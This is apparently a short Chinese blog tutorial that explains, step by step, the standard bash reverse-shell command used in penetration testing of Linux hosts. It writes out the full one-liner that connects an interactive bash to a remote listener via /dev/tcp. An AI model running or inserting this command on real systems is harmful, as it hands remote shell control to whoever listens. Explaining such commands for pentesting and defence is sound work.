渗透测试之反弹shell命令分析

我们在对linux主机进行渗透测试的时候,经常回用到反弹shell,之前也没好好去研究、理解具体都是干什么的,就只知道会用…(so low…-.-)

最基本的反弹shell的代码如下:

bash -i >& /dev/tcp/192.168.1.1/8080 0>&1

咱们一步一步来分析:

Step 1

bash -i

这个大家都知道就是打开一个交互式的bash

Step 2

/dev/tcp

这个是linux中一个特殊的设备,打开这个文件就相当于建立了一个socket连接,对这个文件的读写就相当于在这个socket连接中传输数据。linux中还有和它一样的文件/dev/udp

Step 3

/192.168.1.1/8080

这个是表示远程主机及监听的端口。

Step 4

0>&1

首先科普下linux shell下常用的文件描述符:

  1. 标准输入(stdin): 代码为’0’,使用 < 或 <<
  2. 标准输出(stdout): 代码为’1’,使用 > 或 >>
  3. 标准错误输出(stderr): 代码为’2’,使用 2> 或 2>>

经过查找发现:
>&&>的作用是一样的,即:

0>&10<&1是一个意思,都是将标准输入重定向到标准输出中。

Step 5

OVER!
好奇心真的很有用啊! )_(

大爷,赏个铜板呗!